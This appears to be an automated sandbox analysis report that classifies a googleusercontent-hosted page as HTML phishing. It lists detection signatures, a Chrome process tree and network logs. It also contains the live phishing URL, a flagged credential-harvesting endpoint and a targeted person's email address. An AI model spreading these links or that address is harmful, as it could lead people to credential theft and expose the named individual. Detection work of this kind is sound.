Play interactive tour

Edit tour

Windows Analysis Report https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com

Overview

General Information

Sample URL:	https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com
Analysis ID:	508883
Infos:
Most interesting Screenshot:

Detection

HTMLPhisher

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Antivirus detection for URL or domain

URL contains potential PII (phishing indication)

HTML body contains low number of good links

No HTML title found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5800 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation 'https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com' MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 4928 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1560,11279809522291121238,16691019274040458448,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1920 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_3	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: https://laskyduniganprivatlab.com/common/logon/next.php

Avira URL Cloud: Label: phishing

Phishing:

Yara detected HtmlPhish10

Show sources

Source: Yara match	File source: 96078.0.pages.csv, type: HTML
Source: Yara match	File source: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_3, type: DROPPED

Source: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com

Sample URL: PII: david.acquaviva@searshc.com

Source: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com	HTTP Parser: Number of links: 0
Source: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com	HTTP Parser: Number of links: 0

Source: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com	HTTP Parser: HTML title missing
Source: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com	HTTP Parser: HTML title missing

Source: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com	HTTP Parser: No <meta name="author".. found
Source: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com	HTTP Parser: No <meta name="author".. found

Source: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com	HTTP Parser: No <meta name="copyright".. found
Source: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic			Jump to behavior

Source: unknown

DNS traffic detected: queries for: clients2.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
